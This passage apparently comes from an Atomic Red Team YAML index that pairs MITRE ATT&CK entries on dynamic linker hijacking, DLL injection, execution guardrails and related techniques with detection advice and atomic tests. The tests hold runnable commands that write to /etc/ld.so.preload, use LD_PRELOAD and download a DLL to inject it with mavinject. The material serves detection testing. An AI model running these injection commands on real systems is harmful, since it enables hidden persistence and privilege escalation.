        Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
        Bypass) "
      name: Dynamic Linker Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.006
        url: https://attack.mitre.org/techniques/T1574/006
      - external_id: CAPEC-13
        source_name: capec
        url: https://capec.mitre.org/data/definitions/13.html
      - external_id: CAPEC-640
        source_name: capec
        url: https://capec.mitre.org/data/definitions/640.html
      - source_name: Man LD.SO
        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
          June 15, 2020.
      - source_name: TLDP Shared Libraries
        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
          January 31, 2020.
      - source_name: Apple Doco Archive Dynamic Libraries
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
          March 24, 2021.
      - source_name: Baeldung LD_PRELOAD
        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
          March 24, 2021.
      - source_name: Code Injection on Linux and macOS
        url: https://www.datawire.io/code-injection-on-linux-and-macos/
        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
          December 20, 2017.'
      - url: http://hick.org/code/skape/papers/needle.txt
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        source_name: Uninformed Needle
      - url: http://phrack.org/issues/51/8.html
        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
          Retrieved December 20, 2017.
        source_name: Phrack halfdead 1997
      - source_name: Brown Exploiting Linkers
        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
          linker. Retrieved March 29, 2021.'
      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
          in macOS / OSX. Retrieved March 26, 2020.
      - source_name: Timac DYLD_INSERT_LIBRARIES
        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
          Retrieved March 26, 2020.
      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
          Mach-O Apps. Part II.. Retrieved March 24, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T19:55:18.453Z'
      created: '2020-03-13T20:09:59.569Z'
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      identifier: T1574.006
    atomic_tests:
    - name: Shared Library Injection via /etc/ld.so.preload
      auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991
      description: "This test adds a shared library to the `ld.so.preload` list to
        execute and intercept API calls. This technique was used by threat actor Rocke
        during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon
        successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload.
        \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: Path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: Path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

'
        prereq_command: 'if [ -f #{path_to_shared_library ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

'
      executor:
        command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload''

'
        cleanup_command: 'sudo sed -i ''\~#{path_to_shared_library}~d'' /etc/ld.so.preload

'
        name: bash
        elevation_required: true
    - name: Shared Library Injection via LD_PRELOAD
      auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae
      description: |
        This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

        Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: Path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: Path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

'
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

'
      executor:
        command: 'LD_PRELOAD=#{path_to_shared_library} ls

'
        name: bash
  T1055.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.001
        url: https://attack.mitre.org/techniques/T1055/001
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.endgame.com/blog/technical-blog/hunting-memory
        description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
          7, 2017.
        source_name: Elastic HuntingNMemory June 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Dynamic-link Library Injection
      description: "Adversaries may inject dynamic-link libraries (DLLs) into processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        DLL injection is a method of executing arbitrary code in the address space
        of a separate live process.  \n\nDLL injection is commonly performed by writing
        the path to a DLL in the virtual address space of the target process before
        loading the DLL by invoking a new thread. The write can be performed with
        native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,
        then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code>
        API responsible for loading the DLL). (Citation: Elastic Process Injection
        July 2017) \n\nVariations of this method such as reflective DLL injection
        (writing a self-mapping DLL into a process) and memory module (map DLL when
        writing into process) overcome the address relocation issue as well as the
        additional APIs to invoke execution (since these methods load and execute
        the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation:
        Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July
        2017) \n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via DLL injection may also evade detection from security products
        since the execution is masked under a legitimate process. "
      id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:30.879Z'
      created: '2020-01-14T01:26:08.145Z'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code> and those that can be used to modify
        memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor
        DLL/PE file events, specifically creation of these binary files as well as
        the loading of DLLs into processes. Look for DLLs that are not recognized
        or not normally loaded into a process. \n\nAnalyze process behavior to determine
        if a process is performing actions it usually does not, such as opening network
        connections, reading files, or other suspicious actions that could relate
        to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1055.001
    atomic_tests:
    - name: Process Injection via mavinject.exe
      auto_generated_guid: 74496461-11a1-4982-b439-4d87a550d254
      description: |
        Windows 10 Utility To Inject DLLS.

        Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.
        With default arguments, expect to see a MessageBox, with notepad's icon in taskbar.
      supported_platforms:
      - windows
      input_arguments:
        process_id:
          description: PID of input_arguments
          type: Integer
          default: "(Start-Process notepad -PassThru).id"
        dll_payload:
          description: DLL to Inject
          type: Path
          default: PathToAtomicsFolder\T1055.001\src\x64\T1055.001.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'Utility to inject must exist on disk at specified location (#{dll_payload})

'
        prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}"
      executor:
        command: |
          $mypid = #{process_id}
          mavinject $mypid /INJECTRUNNING #{dll_payload}
        name: powershell
        elevation_required: true
  T1548.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1548.004
        url: https://attack.mitre.org/techniques/T1548/004
      - source_name: AppleDocs AuthorizationExecuteWithPrivileges
        url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
        description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges.
          Retrieved August 8, 2019.
      - source_name: Death by 1000 installers; it's all broken!
        url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
        description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!.
          Retrieved August 8, 2019.
      - source_name: Carbon Black Shlayer Feb 2019
        url: https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/
        description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS
          Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.
      - source_name: OSX Coldroot RAT
        url: https://objective-see.com/blog/blog_0x2A.html
        description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected
          (OSX)Coldroot RAT. Retrieved August 8, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Elevated Execution with Prompt
      description: "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code>
        API to escalate privileges by prompting the user for credentials.(Citation:
        AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to
        give application developers an easy way to perform operations with root privileges,
        such as for application installation or updating. This API does not validate
        that the program requesting root privileges comes from a reputable source
        or has been maliciously modified. \n\nAlthough this API is deprecated, it
        still fully functions in the latest releases of macOS. When calling this API,
        the user will be prompted to enter their credentials but no checks on the
        origin or integrity of the program are made. The program calling the API may
        also load world writable files which can be modified to perform malicious
        behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code>
        to obtain root privileges in order to install malicious software on victims
        and install persistence mechanisms.(Citation: Death by 1000 installers; it's
        all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot
        RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036)
        to trick the user into granting escalated privileges to malicious code.(Citation:
        Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer
        Feb 2019) This technique has also been shown to work by modifying legitimate
        programs present on the machine that make use of this API.(Citation: Death
        by 1000 installers; it's all broken!)"
      id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-27T12:04:37.823Z'
      created: '2020-01-30T14:40:20.187Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - root
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: Consider monitoring for <code>/usr/libexec/security_authtrampoline</code>
        executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code>
        is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code>
        is being called. Monitoring OS API callbacks for the execution can also be
        a way to detect this behavior but requires specialized security tooling.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Jimmy Astle, @AstleJimmy, Carbon Black
      - Erika Noerenberg, @gutterchurl, Carbon Black
      x_mitre_platforms:
      - macOS
    atomic_tests: []
  T1480.001:
    technique:
      created: '2020-06-23T22:28:28.041Z'
      modified: '2021-03-29T19:56:42.242Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995
      description: |-
        Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)

        Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

        Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

        Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.
      name: Environmental Keying
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1480.001
        url: https://attack.mitre.org/techniques/T1480/001
      - source_name: EK Clueless Agents
        url: https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf
        description: Riordan, J., Schneier, B. (1998, June 18). Environmental Key
          Generation towards Clueless Agents. Retrieved January 18, 2019.
      - source_name: Kaspersky Gauss Whitepaper
        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf
        description: 'Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution.
          Retrieved January 17, 2019.'
      - source_name: Proofpoint Router Malvertising
        url: https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices
        description: Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising
          on Windows, Android Devices. Retrieved January 16, 2019.
      - source_name: EK Impeding Malware Analysis
        url: https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf
        description: Song, C., et al. (2012, August 7). Impeding Automated Malware
          Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.
      - source_name: Environmental Keyed HTA
        url: https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/
        description: Warren, R. (2017, August 8). Smuggling HTA files in Internet
          Explorer/Edge. Retrieved January 16, 2019.
      - source_name: 'Ebowla: Genetic Malware'
        url: https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf
        description: 'Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing
          Payloads for Specific Targets. Retrieved January 18, 2019.'
      - source_name: Demiguise Guardrail Router Logo
        url: https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js
        description: 'Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved
          January 17, 2019.'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host forensic analysis
      - Signature-based detection
      - Static file analysis
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: Detecting the use of environmental keying may be difficult
        depending on the implementation. Monitoring for suspicious processes being
        spawned that gather a variety of system information or perform other forms
        of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short
        period of time, may aid in detection.
      x_mitre_contributors:
      - Nick Carr, FireEye
    atomic_tests: []
  T1574.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.005
        url: https://attack.mitre.org/techniques/T1574/005
      - source_name: mozilla_sec_adv_2012
        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
          Advisory 2012-98. Retrieved March 10, 2017.
      - source_name: Executable Installers are Vulnerable
        url: https://seclists.org/fulldisclosure/2015/Dec/34
        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
          of privilege. Retrieved December 4, 2014.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Executable Installer File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-26T19:20:23.030Z'
      created: '2020-03-13T11:12:18.558Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - Administrator
      - User
      - SYSTEM
      x_mitre_detection: |-
        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1480:
    technique:
      created: '2019-01-31T02:10:08.261Z'
      modified: '2020-06-24T18:52:12.956Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852
      description: |-
        Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)

        Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
      name: Execution Guardrails
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1480
        url: https://attack.mitre.org/techniques/T1480
      - source_name: FireEye Kevin Mandia Guardrails
        url: https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/
        description: Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says
          U.S. malware is more restrained than adversaries'. Retrieved January 17,
          2019.
      - source_name: FireEye Outlook Dec 2019
        url: https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html
        description: 'McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking
          the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved
          June 23, 2020.'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Nick Carr, FireEye
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: Detecting the use of guardrails may be difficult depending
        on the implementation. Monitoring for suspicious processes being spawned that
        gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007),
        especially in a short period of time, may aid in detection.
      x_mitre_permissions_required:
      - User
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host forensic analysis
      - Signature-based detection
      - Static file analysis
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1211:
    technique:
      id: attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exploitation for Defense Evasion
      description: |-
        Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

        Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1211
        external_id: T1211
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T20:00:46.900Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Exploitation for defense evasion may happen shortly after
        the system has been compromised to prevent detection during later actions
        for for additional tools that may be brought in and used. Detecting software
        exploitation may be difficult depending on the tools available. Software exploits
        may not always succeed or may cause the exploited process to become unstable
        or crash. Also look for behavior on the system that might indicate successful
        compromise, such as abnormal behavior of processes. This could include suspicious
        files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
        for attempts to hide execution or evidence of Discovery.
      x_mitre_defense_bypassed:
      - Anti-virus
      - System access controls
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_version: '1.1'
    atomic_tests: []
  T1055.011:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.011
        url: https://attack.mitre.org/techniques/T1055/011
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
        description: Microsoft. (n.d.). About Window Classes. Retrieved December 16,
          2017.
        source_name: Microsoft Window Classes
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
        description: Microsoft. (n.d.). GetWindowLong function. Retrieved December
          16, 2017.
        source_name: Microsoft GetWindowLong function
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
        description: Microsoft. (n.d.). SetWindowLong function. Retrieved December
          16, 2017.
        source_name: Microsoft SetWindowLong function
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
        description: MalwareTech. (2013, August 13). PowerLoader Injection – Something
          truly amazing. Retrieved December 16, 2017.
        source_name: MalwareTech Power Loader Aug 2013
      - url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
        description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based
          on Power Loader code. Retrieved December 16, 2017.
        source_name: WeLiveSecurity Gapz and Redyms Mar 2013
      - url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
        description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December
          16, 2017.
        source_name: Microsoft SendNotifyMessage function
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Extra Window Memory Injection
      description: "Adversaries may inject malicious code into process via Extra Window
        Memory (EWM) in order to evade process-based defenses as well as possibly
        elevate privileges. EWM injection is a method of executing arbitrary code
        in the address space of a separate live process. \n\nBefore creating a window,
        graphical Windows-based processes must prescribe to or register a windows
        class, which stipulate appearance and behavior (via windows procedures, which
        are functions that handle input/output of data).(Citation: Microsoft Window
        Classes) Registration of new windows classes can include a request for up
        to 40 bytes of EWM to be appended to the allocated memory of each instance
        of that class. This EWM is intended to store data specific to that window
        and has specific application programming interface (API) functions to set
        and get its value. (Citation: Microsoft GetWindowLong function) (Citation:
        Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough
        to store a 32-bit pointer and is often used to point to a windows procedure.
        Malware may possibly utilize this memory location in part of an attack chain
